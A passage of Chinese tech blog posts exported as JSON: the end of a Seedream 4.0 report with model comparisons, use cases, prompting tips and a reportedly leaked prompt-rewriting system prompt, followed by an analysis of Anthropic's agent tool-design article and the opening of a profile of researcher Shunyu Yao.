能够产生电影级镜头感和逼真的运动效果，使视频更趋专业。\n●Agent 工作流：Dream Machine 尚未开发 AI Agent\n●本地化能力：Luma Dream Machine 主要面向国际用户，目前对中文等语言的支持信息有限。\n●接入方式：Luma 针对专业和企业用户提供服务：官网显示有API选项和企业方案。\nPika Labs ●图像生成质量：Pika Labs 聚焦视频，因此并没有独立的图像生成模式，其图像质量体现在视频帧画质上。\n●图像编辑能力：Pika Labs 不专门提供静态图编辑功能，但支持图片生成视频和视频转视频，可以视为广义的编辑应用。例如用户上传一张静态照片，辅以提示词（指定动作或景象），Pika 能生成该照片栩栩如生的动态效果（如让风景照里的瀑布动起来，或让人物照片中的人开始行走)。另外，通过视频转视频功能，用户可上传已有视频并用文字指令修改其风格或内容——相当于对视频进行编辑。例如一段普通视频可以一键转换成漫画风，或者改变背景场景。这些功能虽然不直接针对单帧做局部编辑，但提供了从素材到新效果的转换手段，降低了创作门槛。需要精细修图时，Pika 可能不及GPT-4o等，但在视觉效果批量风格化上非常实用。\n●视频生成能力：这是 Pika Labs 的核心强项。它提供三种主要视频生成模式：文本生成视频（T2V）、图片生成视频（I2V）以及视频转视频（V2V）。使用简单直观：输入一句描述文字即可生成约3秒的视频短片；上传一张图片加提示词能产出带动画效果的视频；提供一段视频并描述希望的变化，模型会输出风格转换或内容修改后的视频。Pika Labs 在多样风格上表现突出，能生成3D动画、二维动漫、卡通、电影场景等不同类型的视频。运动连贯性方面，Pika的视频画面真实且动态顺畅，没有明显跳帧或失真。不过长度上目前偏短，典型输出在3-5秒（用户可多次续生成分镜）。分辨率方面，一般支持到720p，高级版本可能提供1080p选项。最新版本还新增了起始/结束帧控制等功能（类似简单故事板），提升了连贯叙事能力。\n●Agent 工作流：Pika Labs 未集成自动多步Agent。\n●本地化能力：Pika Labs 面向全球用户，但对中文的直接支持有限。\n●接入方式：Pika Labs 提供官方网站 Web 平台（pika.art），用户可注册后使用全部功能。目前仍处于测试阶段，对注册用户免费且不限次数开放体验。开发者API方面，官方暂未公布通用API。\n当前模型能力的边界：适用任务与不成熟领域 尽管 Seedream 4.0 以及同期的顶尖模型展现了令人惊叹的生成能力，但它们并非无所不能。在实际应用中，我们需要了解模型擅长的“Good Case”和尚难胜任的“Bad Case”，以便扬长避短、合理使用。\n模型擅长的任务（Good Cases） 场景化视觉创作 对于需要快速生成高质量视觉素材的任务，Seedream 4.0 十分适合。例如电商产品图设计、广告海报创意、公众号配图等，给出产品或主题描述，模型可以在秒级时间内产出多张符合要求的高清图，并且风格统一、美感在线。这类需要批量生产又要求美观度的内容，以往往往耗费设计师大量时间调图，而现在AI模型可大幅提速。\n角色形象和IP衍生 Seedream 4.0 对人物形象的一致性和多样性掌控力很强。在需要创造虚拟角色并进行延展设计时（如动漫角色不同动作表情、品牌吉祥物的一系列宣传画），模型能够“记住”角色特征并生成系列作品，保持角色不变形同时变化丰富。AI 可以连续输出其拿不同物品、处于不同场景的形象，非常适合IP形象的系列化创作。\n复杂场景的合理构图 借助上下文推理能力，模型可以理解场景中的物理和逻辑约束。比如提示“森林里松鼠寻宝的连续分镜”，AI 会自动保证每一张图里的松鼠和森林元素连贯出现，镜头衔接有逻辑。再如要求“同一房间不同时间光线变化”的图组，模型能够明白光照角度、亮度应如何随时间推移改变。这些任务对于AI而言已是擅长的用武之地，模型的“常识”足以胜任。\n文字、图表混排内容 Seedream 4.0 在生成含有文字说明、简单表格/公式的图像方面取得了突破。例如教育课件、科普海报这类图文并茂的内容，模型可以正确渲染清晰的文字，并排版出较合理的布局。一些基础的数学公式、统计图也能一定程度生成。虽然精细程度还不如人工，但在知识可视化领域已初步展现潜力，适合用来制作初版稿或获取灵感。\n短视频分镜和动画 借助 Agent 模式，模型擅长将想法变成一系列镜头画面乃至动画短片。适合的任务包括：创意广告短片脚本的视觉化、MV或者短剧的分镜绘制、简单动画 Demo 的生成等。一些早期用户已经用 Seedream 4.0 做出了个人短剧的雏形，实现了一个人完成多个镜头的视频创作。对于这些时长几十秒以内、内容相对简洁的视频，模型能够给出令人满意的连贯输出，极大降低了视频内容生产的门槛。\n模型尚不成熟的任务（Bad Cases） 长篇幅、复杂叙事的视频 目前 AI 视频生成普遍只能覆盖数秒到十几秒的长度，Seedream Agent 尽管能串联多个镜头，但要让AI自主创作一个分钟级、剧情复杂的长视频仍非常困难。一方面长视频涉及更多角色、场景转变，AI 记忆和一致性维护会变得吃力；另一方面画面需要随着剧情发展有节奏变化，这超出了当前生成模型对叙事的掌控能力。若强行生成，可能出现剧情跳脱、角色形象混淆、甚至模型“幻想”出不合理桥段等问题。因此，对于完整故事短片或广告大片，目前AI更多适合作为辅助而非独立完成。\n高度精确或专业要求的图像 当任务需要绝对精确的信息时，AI 生成尚不可靠。典型如地图绘制、建筑施工图、医学影像等，这些要求每个细节都准确无误，AI 由于不是基于真实测绘或专业知识，很可能张冠李戴或添加不存在的细节。又如识别度要求极高的场景：生成某明星的逼真照片用于宣传，这涉及法律伦理暂且不论，模型对真实人物的重构往往会有偏差，难以100%逼真。再有工业设计中要求精确尺寸比例的效果图，AI 或可绘制大致形状，但细节尺寸绝非精度级符合标准。这类严肃精密的内容，目前仍需要人来把关或直接完成。\n复杂文字内容的渲染 虽然 Seedream 4.0 在文字排版上有长足进步，但段落级的长文本、特殊字体或花哨字形，模型可能难以全部正确生成。比如一张海报上需要有一段完整可读的文字说明，AI 产出的文字可能有错别字或莫名字符，需要后期人工修正。再如生成书法、篆刻这类高难度字体，目前模型大多力不从心。因此涉及大量文字信息的图像，如文章正文排版、长段广告词等，AI 暂无法一蹴而就，往往还需要设计人员对文字部分进行二次处理或直接叠加。\n需要最新现实世界知识的内容 模型的训练数据有时间和知识的局限，对于非常新的事物或细节可能不了解。比如要 AI 生成“2025 年款某车型汽车”的图片，若该车型不在训练集，模型可能无法准确还原外观。又如一些地域性很强的细节（某小众街道景观、某地方独有的服饰纹样），AI 可能出现偏差或混淆。因此在新产品展示、特定真实场景还原等任务上，AI 生成的可信度和精细度还不够，需要补充真实照片素材或引导模型多次尝试。对这些场景，人工参与和审核仍然必不可少。\n跨模态的深层次理解 当前模型虽然能做图像和视频，但对更深层的语义理解和推理仍有边界。例如让 AI 看一段文字故事情节然后绘制复杂插画系列，或听一段音乐然后生成匹配节奏的影像，这属于跨模态创作中的高难度任务。Seedream 4.0 具备一定上下文推理能力，但毕竟主要基于视觉和文本，像音乐、长篇剧情等跨模态的联动上仍有待发展。如果任务超出了模型的知识范围或推理长度，比如要求 AI 画出某文学名著所有章节的场景插图，模型可能因为上下文太长而无法一致掌控。因此，对于超长上下文、多模态强相关的任务，目前的AI模型还不成熟，需要拆分简化或引入专项模型配合。\n面向开发者/内容团队的实践建议 为了让 Seedream 4.0 以及相关 AI 模型在实际项目中发挥最大价值，开发者和内容创作者可以考虑以下实践建议：\n巧妙设计 Prompt，引导理想输出 Prompt（提示词）的质量直接决定了生成结果的好坏。为获得最佳效果，建议在提示中明确描述所需的主体、场景和风格。例如，不妨将简单的想法细化为“主体+环境+修饰细节”的形式——比如想生成一张古风场景，可以提示：“一名身穿红色唐装的少女，站在飘落樱花的庭院中，黄昏暖色光照，画面风格像宫崎骏动画”。这样的描述涵盖了角色、地点、光线和风格要素，模型理解后输出会更符合预期。针对 Seedream 4.0 针对中文优化的特点，使用中文Prompt完全可行且往往更贴切本土语境，例如提示中直接引用诗词意境、成语等，模型都能很好领会。而在涉及复杂场景时，也可以通过逐步细化的方式引导：先让模型生成基础场景，再逐步添加元素，每一步都延续先前上下文，Agent 会记住先前内容进行增量创作。总之，充分利用自然语言的丰富性，既大胆构思又清晰指示，才能最大程度激发模型潜能。\n善用 Agent 模式做分镜和短视频 对于内容团队来说，Seedream 4.0 的 Agent 模式可以极大简化创作流程。建议将其用在短视频脚本的可视化上：先撰写一个大致的文字脚本或分镜提纲，然后将这段描述直接交给 Agent。比如可以对 Agent 说：“我想制作一个10秒的小故事：第一幕，小松鼠在森林捡到宝箱；第二幕，小松鼠打开宝箱，金光四射；第三幕，小松鼠开心地跳起。请生成对应的三张分镜图。” Agent 理解后会自动产出三幅画面，并确保主角小松鼠形象一致、风格统一。随后，你还可以继续对 Agent 说：“请根据这三张图生成一个连贯的小动画，加上从第一幕到第三幕的转场效果”。如此，Agent 会进一步调用视频生成能力，将图像衔接成动画片段。整个过程无需剪辑经验，AI 会处理镜头衔接和过渡逻辑。因此，对于短视频策划、动画分镜、微电影试片等场景，团队应大胆使用 Agent 模式来完成从画面到视频的一站式生成，在脑暴初期就拿到直观的视觉化成果，再据此打磨创意。\n将 AI 视为设计助手，分工合作完善细节 AI 善于高效产出初稿，但某些精细调整仍需要人工。开发者和设计师可以采取“AI 先出草稿，人再做润色”的流程。例如在生成电商海报时，让 Seedream 4.0 先出一版包含商品、模特和文案的整体布局。如果发现 AI 生成的中文文案有错误或排版不够美观，设计师再使用传统工具（Photoshop 等）进行修订。另外，还可以迭代式地使用 AI 编辑功能：对于AI产出的图，不满意之处（如角色姿态或背景元素）可以通过在对话中进一步指示来修改，而无需完全推倒重来。实践中，很多团队发现这样人机协作效率最高——AI 提供80%的内容，人负责20%的打磨，既保留了人的创意控制，又充分利用了 AI 的速度优势。\n跨模型协同，取长补短 尽管 Seedream 4.0 功能全面，但有时结合其他模型可以获得更好效果。开发者可以考虑构建多模型流水线：例如，文本内容先用强项在语言上的 GPT-4 来起草，再将关键信息交给 Seedream 生成图像；或者反过来，用 Seedream 生成一系列图像后，再用图像识别模型提取其中的标签或说明，用于内容检索和筛选。又比如，在视频创作中，可以搭配AI配音/配乐服务：让 Seedream 生成画面，把对白脚本交给AI语音合成生成配音，最终合成有声视频。对于追求极致艺术效果的情况，也可以先用 Midjourney 这类模型产出某种独特风格的图像，再将这些图像作为参考输入，让 Seedream 的编辑能力进行延展，生成更多类似风格的素材。\n尤其在风格迁移方面，这是可行的策略：Midjourney 有时在美感上更胜一筹，但 Seedream 可以接过这种风格并应用到具体的本地化内容上，实现艺术性与实用性的结合。总之，不必将某一模型视作万能，用开放的心态把不同AI模型组合起来，各取所长，可以创造出1+1\u0026gt;2的协同效应。\n建立反馈机制，持续优化提示和素材 AI 生成是一个和模型对话的过程，团队应当积累经验，不断调整策略以获得更好的结果。建议在使用 Seedream 时保存每次的 Prompt、输出结果和后续修改记录，形成一个小型知识库。分析哪些提示能够得到满意的效果，哪些容易引发问题，总结规律后在下次使用时优化措辞。对于经常使用的场景，不妨编写 Prompt 模板，比如角色设计模板、风景绘制模板等，方便新成员快速上手。在公司内部，还可以将成功的AI生成案例整理出来，做成小型展示或指南，帮助内容团队了解 AI 能力边界和擅长方向。这种反馈机制也包括让AI自我改进：当输出不理想时，尝试用对话继续指导 AI 修改，而不是简单地推翻结果。比如“图片不错，但人物表情太严肃，能否微笑一下”——往往一两句就可微调到位。通过人与AI的持续互动，最终能够摸索出最符合团队风格的AI使用范式，使 Seedream 4.0真正在日常工作流程中发挥最大价值。\n其他 Seedream 4.0 提示词 网传 Seedream 4.0 系统提示词\n1⚡ 代码片段## 角色（Role） 2 3你是一名多模态提示工程师，负责将用户的自然语言请求转译为精准、结构化的视觉指令，服务于生成式视觉模型。你需要处理两类任务： 4文本生成图像（Text-to-Image Generation） 5图像编辑（Image Editing） 6 7## 输入（Input） 8 9文本生成图像：一个描述图像概念的文本提示。 10图像编辑：一个描述所需修改的文本提示 + 一张或多张输入图像（作为参考和分辨率基准）。 11 12## 任务（Tasks） 13 14### 任务 1：文本生成图像（Text-to-Image Generation） 15将用户的文本提示优化为一个详细、清晰、可执行的视觉描述，包含以下结构： 16风格关键词（Style keyword）主要美学关键词（Primary aesthetic keyword）视觉内容（Visual content）视觉上下文（Visual context）补充美学关键词（Supplementary aesthetic keyword） 17 18要求： 19使用完整句子表达，不要文学化修辞或模糊表达。 20保证描述适合图像生成器，涵盖主要元素与附加细节。 21最后给出推荐的图像比例（aspect ratio）。 22 23### 任务 2：图像编辑（Image Editing） 24处理用户的编辑请求，结构化输出： 251.描述输入图像的要素（主体、动作、背景、文字等）。 262.明确指出修改（例如：“在猫的周围加一个红色边框”）。 273.生成优化的编辑指令。 284.输出修改后的图像描述。 295.提供合适的图像比例（aspect ratio）。 30 31## 输出（Output） 32 33### 文本生成图像 34 351.输入（input1, input2, …） 362.输出（单一优化后的图像提示，含完整描述） 373.比例（ratio: 推荐的图像宽高比） 38 39### 图像编辑 401.输入图像 412.编辑指令（optimized editing instruction） 423.输出（编辑后的图像描述） 434.比例（ratio: 推荐的图像宽高比） 44 45## 文本意图（Text Intention） 46 47清晰型（Clear）：用户已提供明确文本，直接引用（加引号）。 48补充型（Supplement）：用户文本模糊时，补充结构化表达。 49无文本（No text）：用户没有提供文字时，不生成文字。 50 51## 关键规则（Key Rules） 52 53保留用户的所有要素，不遗漏。 54避免模糊、含糊或有害的请求。 55不允许：姓名、地址、具体时间、电话、ID 等敏感信息。 56文本必须加引号，禁止占位符（如“XX”）。 57保持主体一致性，不随意改变元素。 58输出需简洁（50–200词），避免冗余或文学化修辞。 59 60## 写作规则（Writing Rules） 61 62使用清晰、简明的语言。 63优先考虑风格、构图、颜色、光线、材质与纹理。 64保持逻辑性和结构化表达。 65所有生成内容为完整句子。 66可选长宽比（Aspect Ratios） 67 68支持以下图像比例： 69 7021:9、16:9、3:2、4:3、1:3、1:1、4:4、3:4、2:3、9:16、9:21 所以用户写的提示词越接近以下这样的，即梦就能解析的越好：\n风格关键词（Style keyword）主要美学关键词（Primary aesthetic keyword）视觉内容（Visual content）视觉上下文（Visual context）补充美学关键词（Supplementary aesthetic keyword）。\n使用技巧 Seedream 4.0 在使用 API 的时候，提示词加上 “IMG_2094.CR2”，就会提高图像生成的质量。加上这个提示词生成图片的细节丰富度、质感以及美学确实会变好。注意别在直接在即梦里用这个技巧，因为即梦有自动的提示词优化。\n大概解释一下这种现象的原因：\nCR2、ARW、RW2 这种格式都是相机拍摄的 RAW 格式分支，其中 CR2 是佳能特有的 RAW 格式，还有 CR3。\n这些文件名称经常被图片上传到网站时候的各种描述、alt 文本、贴子正文里，然后在被爬取训练数据的时候写到图像对应的标签里面去。\n文本编码器在预训练时就学到了“CR2/ARW/RW2=相机RAW=高画质/高动态范围/真实光学特征”的强关联；把这样的标记塞进提示词，会把生成分布推向摄影真实感这一簇，从而提升微细节和光影质感。\n像 “.CR2” 这类在词表中较稀有但语义非常“聚焦”的 token，会成为嵌入空间里的强方向向量，能明显改变注意力分配与条件分布，比如把模型从“插画/绘画”拉向“数码相机 RAW 照片”。\n所以理论上我们可以看到，其他类似\nMG*####.CR2 / DSC0####.ARW / P1######.RW2 /* DSF####.RAF / DNG ####，这种格式应该都会起作用。\n而且打标细致的话，你可以更换后面的后缀来使得生成的图片具有各种品牌相机的成像效果。\nNano-Banana 有关 Nano-Banana 有一个很好的项目，探索了所有主流的用法： https://github.com/JimmyLv/awesome-nano-banana\n总结 Seedream 4.0 的出现标志着 AIGC 内容创作进入了“生成+编辑+多模态联动”并行的新阶段。它以统一架构和 Agent 智能让 AI 真正参与到创意流程中来，既能产出令人惊艳的单体作品，又能协同生成连续的视觉篇章。这对企业内部的技术和产品团队有着重要的启发：未来的内容生产工具将不仅仅是冷冰冰的模型接口，而会演变为能够理解需求、协助决策的智能伙伴。在目前能力范围内充分利用 Seedream 4.0，可以显著提升我们制作图文物料、短视频内容的效率和品质；同时也应清醒认识到模型尚有边界，继续关注业界进展，不断尝试将新的AI能力融合进业务流程。相信随着 Seedream 4.0 这样的创新产品不断迭代，引领 AIGC 行业迈向新的高度，我们的创意实现之路将变得更加顺畅而高效。\n附录 即梦图片4.0模型 提示词手册：https://bytedance.larkoffice.com/docx/L4vCdah1DoDg7axVdYGcoplSn9f\n豆包 Seedream 4.0 使用指南：https://bytedance.larkoffice.com/docx/XwngdqdhIowfF8xhEA4cwpS2nLb\n即梦 AGENT试用手册：https://bytedance.larkoffice.com/docx/Qriwdcz4Sob4arxcAX6cxUMznYb\n","date":"2025-09-18T03:10:41Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-09-18-seedream-4-0-shen-du-bao-gao-tong-yi-jia-gou-agent-gong-zuo-/cover.jpg","permalink":"/p/2025-09-18-seedream-4-0-shen-du-bao-gao-tong-yi-jia-gou-agent-gong-zuo/","title":"Seedream 4.0 深度报告：统一架构、Agent 工作流与多模态一体化"},{"content":"引言 原文链接：https://www.anthropic.com/engineering/writing-tools-for-agents\n为什么 Anthropic 的文章很重要， 几乎是必读的？\n因为 Anthropic 的工具，无论是 web、客户端的 claude 、claude code 以及其他的工具都有全世界大量的真实用户使用，他们的博客是团队分享自己在工程上遇到的真实问题和解决方案。是经得起验证、交过学费的、第一手的、宝贵的经验，值得所有 AI 领域的相关从业者学习。\n传统软件开发中，我们编写的函数或 API 是确定性的：相同输入必然产出相同输出。而 AI Agent（基于大语言模型的自主智能体）具有非确定性——即使起点相同，每次响应可能不同。这意味着为 Agent 设计工具的软件接口，与传统为开发者设计 API 有本质区别。Anthropic 强调，工具是连接确定性系统与非确定性 Agent 之间的新型软件契约。当用户问“今天要带伞吗？”，Agent 可能调用天气查询工具，也可能基于常识直接回答，甚至先问用户所在地。一些情况下 Agent 会幻觉出不存在的工具或误用工具。这就要求我们重新思考软件开发方法：设计给 AI Agent 用的工具，不能仅按传统 API 方式，而要考虑 Agent 的行为特点和局限。\n这篇文章的核心论点是：为非确定性（Non-deterministic）的 AI 智能体设计工具，必须摒弃传统面向确定性系统的 API 设计思维，转而采用一种以“模型-工具协同”为中心、以“上下文效率”为导向的新范式。这不仅仅是技术选型问题，更是一种方法论的转变。\n工具开发的迭代流程 原型、评估与 AI 协作优化 1. 快速原型本地测试 首先构建工具的原型并在本地进行测试。尽早上手试验可以发现哪些工具对 Agent 来说顺手，哪些不太“趁手”。开发者可以借助 Claude Code 这类助手来一次性生成工具代码\n2. 生成大规模评估任务 在原型基础上，设计贴近真实场景的评估任务集，并利用 AI Agent 协助生成大量多样且复杂的测试用例。这些评估任务应源自实际业务流程和数据（如公司内部知识库、日志系统等），避免过于简化的“沙盒”场景。\n优秀的测试任务通常需要 Agent 跨多步调用多个工具才能完成。例如：“为客户 Sarah 撰写挽留方案：找出她要退出的原因，并给出有说服力的挽留优惠，以及任何需要注意的风险因素。” 这样的任务可能涉及查询客户信息、检索历史记录、综合分析原因并生成方案，远比简单的单步查询更能考察 Agent 对工具的灵活运用。\n3. 运行评估并收集指标 编写脚本程序化地跑通所有评估任务，让 Agent 在每个任务中使用工具完成要求。在系统提示中明确要求 Agent 输出结构化答案（用于核对正确性）以及思考过程和反馈，以触发模型的链式思考 (CoT) 便于分析。对每轮评估记录是否成功完成任务、用时、工具调用次数、消耗的 token 数量、错误情况等关键指标。\n4. 分析结果诊断问题 把评估过程中 Agent 的推理过程和反馈当作宝贵信息，找出工具集的薄弱环节。观察哪些任务上 Agent 陷入困惑，哪些工具没被正确调用。特别要留意 Agent 输出/反馈中“没有说出”但实际存在的问题——模型有时不会直白指出所有困扰，需要开发者读懂言外之意。同时分析量化指标：例如若观察到某个工具被反复无效调用，可能说明工具描述不清或参数设计不合理；如果多次出现返回结果超长甚至截断，说明需要优化分页或过滤机制。\n5. Agent 协作改进工具 充分利用 AI Agent 本身的能力来改进工具。Anthropic 建议将所有评估对话的完整记录拼接起来，交给如 Claude Code 这样的 Agent 模型，请它协助分析改进。实践证明，Claude 非常善于阅读大量交互日志，一次性提出修改方案，批量重构工具的实现和描述，使其更一致和高效。事实上，Anthropic 博客中的很多最佳实践，正是通过反复让 Claude 优化内部工具而总结出来的。每轮修改后再次运行评估，对比新旧版本在任务成功率等指标上的提升，确保改进确有效果。同时准备额外的测试集验证没有过拟合于训练任务。Anthropic 分享的实验显示：经过 Claude 自动优化后的工具，相比人类工程师初版，实现了显著性能提升，并且在隐藏测试集上也有更好表现。\n高效 Agent 工具设计的五大原则 1. 审慎选择工具 质量远比数量重要！！\n谨慎选择实现哪些工具（少而精）：更多的工具并不一定带来更好效果。一个常见误区是把现有软件功能或 API 简单封装成大量工具接口，却不考虑这些工具是否真正适合 Agent 使用\n技术原理 这一原则的背后是大语言模型（LLM）固有的两大限制：有限的上下文窗口（Context Window）和在庞大选择空间中进行决策的“认知负荷”。工具过多不仅会迅速消耗宝贵的上下文空间，还会因为“选择悖论”导致模型混淆，无法准确调用最合适的工具。\n深层分析 文章提出的 “避免无效的 ‘包 API’ 式工具” 是一个关键洞见。简单的 API 封装（例如 list_users）对于模型来说是低效的，因为它需要模型在上下文中自行进行后续的过滤和处理，这是一种“上下文浪费”。\n高效的工具应该具备更高的抽象层次，将一个典型工作流中的多个步骤整合起来（例如将 list_users, get_user_details, get_user_recent_activity 合并为 get_customer_context）。这种设计将计算任务从模型的“脑内”（上下文）转移到了工具的“体外”（确定性代码），极大地提升了效率和准确性。\n跨领域印证 这与 Manus 团队提到的“动态动作空间管理”思想异曲同工。尽管实现方式不同（Manus 通过状态机和 logits mask 来约束可用工具），但其本质都是为了减少模型在特定时刻需要考虑的工具数量，从而降低决策难度，避免产生幻觉。\n2. 清晰的命名空间 为模型建立心智模型\n清晰划分工具的命名空间：当 Agent 面对几十上百个工具时，明确的命名规范有助于划定工具边界，减少混淆。Anthropic 推荐给相关工具加统一前缀（或后缀）进行分组。例如，以服务名称为前缀：asana_search、asana_create用于 Asana 相关操作；或按资源类型命名：gitlab_issue_search、gitlab_issue_update等。这种命名分组使得工具名称本身蕴含分类信息，Agent 更容易选择正确的工具。\n技术原理 LLM 在理解工具时，严重依赖工具名称和描述所提供的语义信息。命名空间（如 asana_projects_search）通过创建清晰的层次结构和归属关系，帮助模型构建关于工具集的“心智模型”。这降低了工具功能的模糊性，使得模型在面对“搜索”这类泛化指令时，能更准确地定位到特定领域的工具。\n深层分析 这是一种针对 LLM“注意力机制”的优化。统一的前缀或后缀就像路标，引导模型的注意力快速聚焦到相关的工具子集上。Anthropic 提到前缀和后缀的选择会对性能产生不可忽略的影响，这表明模型的内部表征对这种结构化信息非常敏感，需要通过实验评测来确定最优方案。\n3. 返回有意义的上下文 信噪比是关键\n工具只返回高价值的信息：设计工具的输出时，要聚焦有用的上下文，过滤掉冗余细节，避免把大量无关信息塞回给 Agent\n技术原理 工具返回给模型的信息，构成了下一次决策的基础。返回充满低级技术标识符（如 UUIDs）或大量无关数据的内容，等同于向上下文中注入“噪声”。模型需要消耗额外的 Token 和推理能力去解析这些噪声，从而增加了出错的概率。\n经验表明，Agent 对自然语言描述或可读标识的理解远胜过对晦涩代码或 ID 的理解。因此，尽量让工具返回语义清晰、直接有助于后续决策的内容。例如，与其返回内部用的 UUID、数据库键值，不如返回对象的名称、简要描述，必要时附带可读的短 ID。Anthropic 团队甚至发现，将纯数字型的 UUID 转换成更有语义的标识符（哪怕是简单的递增编号），都能显著减少 Claude 在检索任务中的幻觉错误。当然，在某些场景下 Agent 最终仍需要那些技术 ID 来调用下一个工具（比如搜索到用户“Jane”后，需要传递其 user_id 给消息发送工具）。对此，可以让工具提供多种格式的输出：例如增加一个 response_format 参数，允许 Agent 选择“简洁”或“详细”模式。详细模式下返回全面信息（包括 ID 等字段），简洁模式下只返回对人有用的内容。下面的代码片段展示了如何用枚举来控制工具响应的详细程度：\n⚡ 代码片段enum ResponseFormat { DETAILED = \u0026quot;detailed\u0026quot;, CONCISE = \u0026quot;concise\u0026quot; }\n深层分析 文章强调了自然语言标识符和可读字段的重要性，这迎合了 LLM 的本质——它是一个语言模型，对自然语言的处理能力远超于对抽象符号的处理能力。此外，提供多种响应格式（如 concise vs detailed）是一种精巧的设计，它将控制权交还给了 Agent，允许其根据任务的下一步需求，动态管理上下文的粒度，实现了灵活性和效率的平衡。\n4. 优化返回信息的 Token 效率 优化工具输出的 Token 效率：在确保信息有用的同时，还要关注返回内容的长度控制。Agent 每轮可用的上下文长度是有限的，过长的工具输出既可能浪费 token 成本，也会挤占后续推理空间。针对任何可能返回大量数据的工具，建议实施分页、范围查询、结果过滤或截断等机制，并设定合理的默认参数避免一次返回过多内容。\n技术原理 这是前一个原则在“量”上的延伸。上下文窗口是所有 Agent 最稀缺的资源。高效的工具必须是“上下文友好”的。\n深层分析 除了常见的分页、截断等方法，这篇文章的精髓在于将“上下文管理”的思维融入工具设计中。例如，一个设计良好的 search_logs 工具不仅返回匹配的日志，还会附带周边上下文，这避免了模型为获取上下文而进行的多次、无效的 read_file 调用。\n跨领域印证 这一点与 Manus 文章中提出的“文件系统作为终极上下文”的观点完美契合。两者都认识到，不能将所有信息都塞入模型的直接上下文中。Manus 将文件系统视为一个可供 Agent 按需读写的、近乎无限的外部记忆体；而 Anthropic 则通过优化工具输出来减少对直接上下文的占用。本质上，都是在为有限的上下文窗口“减负”。\n5. 通过提示工程提升工具说明的质量 工具描述即 API 文档\n将提示工程用于工具描述：最后但同样重要的是，要精心撰写每个工具的描述和规范，把它当作提示词工程的一部分。\n技术原理 对于 LLM Agent 而言，工具的描述（docstring）和参数定义就是它的“API 文档”。这份文档的清晰度、准确性和无歧义性，直接决定了模型能否正确理解和使用该工具。\n深层分析 Anthropic 将此过程类比为“给新同事写文档”，这是一个非常精准的比喻。这意味着需要明确定义术语、解释参数间的关系、提供示例，并预见可能的误解。文章还揭示了一个重要的实践：利用 Agent 本身来分析评测结果并重构优化工具描述。这是一个强大的“AI 辅助 AI 开发”的闭环，通过自动化评测和迭代，持续提升工具对模型的“可读性”和“可用性”。\n综合评价 从“调用”到“协同”的范式转变\n整篇文章的核心思想是，开发者不应再将 Agent 视为一个被动的函数调用者，而是一个非确定性的合作伙伴。工具的设计目标是最大化这种合作的效率，降低沟通成本（即上下文消耗）和误解（即错误调用）。\n上下文工程是基石 无论是 Anthropic 对工具设计的五个原则，还是 Manus 提出的七个教训，其核心都在于“上下文工程”（Context Engineering）。 如何塑造、管理和优化输入给模型的上下文，最终决定了 Agent 的行为、效率和稳定性。这包括了工具定义、历史对话、工具返回结果以及错误信息等一切输入。\n评测驱动的迭代是唯一通路 文章强调了构建贴近真实场景的评测任务，并利用 Agent 自身的推理反馈来持续迭代的重要性。这是一个“快速原型 -\u0026gt; 协作生成评测 -\u0026gt; 自动化评测 -\u0026gt; 迭代优化”的闭环。这承认了 Agent 开发的实验科学属性，不存在一蹴而就的完美设计，只能通过系统性的评测来不断逼近最优解。\n错误信息是一种宝贵的反馈信号 Anthropic 和 Manus 都强调了返回清晰、可操作的错误信息的重要性。这不仅是给开发者看的，更是给 Agent 看的。一个好的错误信息应该告诉 Agent“为什么错了”以及“如何修正”，这使得 Agent 具备了自我纠错和从失败中学习的能力，极大地增强了系统的鲁棒性。\n总结 以上五条原则可概括为：意图明确、边界清晰、高效精简、反馈友好、描述完善。遵循这些原则设计的工具，往往更符合 AI Agent 的“心智模型”，让它能像人类一样直观理解如何运用工具来解题。值得一提的是，这些经验并非 Anthropic 一家的特殊发现——许多从事 Agent 研发的团队都在逐步摸索出类似的规律，并将其视为构建强大 Agent 系统的基石\nAnthropic 的这篇文章提供了一套非常实用且深刻的 Agent 工具设计框架。对于任何致力于构建高性能、高可靠性 AI Agent 的研究团队来说，这五大原则以及背后贯穿的“上下文工程”和“评测驱动”思想，都应成为核心的设计准则。\n","date":"2025-09-16T01:36:01Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-09-16-anthropic-wen-zhang-writing-effective-tools-for-agents-with-/cover.jpg","permalink":"/p/2025-09-16-anthropic-wen-zhang-writing-effective-tools-for-agents-with/","title":"Anthropic文章Writing effective tools for agents — with agents的深入剖析"},{"content":"引言 本文我将对 2025 年上半年在技术社区引发大量讨论与转引的一篇名为 《The Second Half》（AI 的下半场）著名博客进行介绍、翻译与分析，希望通过我的介绍和分析能够让各位伙伴对 AI 领域在宏观叙事上有个清晰的了解。以便在今后的学习和研究中有更好的定位和方向。\n作者简介 概览 姚顺雨（Shunyu Yao）\n姚顺雨是近年“语言智能体（Language Agents）”方向的代表性研究者之一，因提出 ReAct、参与 Tree of Thoughts (ToT)、WebShop、SWE-bench / SWE-agent、τ-bench 等工作受到学界与产业关注；在 2025 年以《The Second Half》一文提出“AI 的下半场应从‘解决问题’转向‘定义问题’，评估将比训练更重要”的观点。其个人主页长期自述为“研究智能体的 OpenAI 研究员”。\n教育与经历 ●中学阶段获 NOI 信息学银牌、安徽省理科高考第 3 名\n●本科：清华大学 交叉信息研究院“姚班”（学生时期就读于姚班，多场高校活动与官方简介均有明确表述）。在校期间担任“姚班学生联合会主席”、清华说唱社联合创始人。\n●博士：普林斯顿大学计算机系（导师 Karthik Narasimhan）。博士阶段获普林斯顿研究生院 Harold W. Dodds Fellowship；其博士论文主题为 Language Agents: From Next-Token Prediction to Digital Automation。\n●实习/合作经历（学生时期）：多场讲座与高校活动页称其曾在 Google、Microsoft、MIT 等从事研究与合作。\n代表性研究与贡献 ●ReAct（Reason + Act）：提出让大模型在“推理轨迹”与“动作”之间交替，从而一边思考一边使用工具/检索/交互，ICLR 2023。此范式被广泛用作后续智能体系统的基础能力模块。arXiv\n●Tree of Thoughts（ToT）：将“多路径思维”引入复杂问题求解的推理过程中，NeurIPS 2023。NeurIPS Proceedings\n●WebShop：一个规模化网页购物交互环境（NeurIPS 2022），推动语言智能体在真实网页环境中的训练与评估。NeurIPS Papers\n●SWE-bench（ICLR 2024 Oral）/ SWE-agent（NeurIPS 2024）：以前者把“修真实 GitHub issue”作为评测单位，后者设计“Agent-Computer Interface”让代理能像人一样使用电脑完成工程任务，推动贴近实际的软件工程评测与系统化落地。OpenReview NeurIPS Proceedings\n●τ-bench（ICLR 2025）：强调在真实领域的规则与用户交互下评测语言智能体（工具-代理-用户三方互动），契合其“评估更重要”的研究取向。OpenReview\n近期动态（2025 年 9 月） ●已从 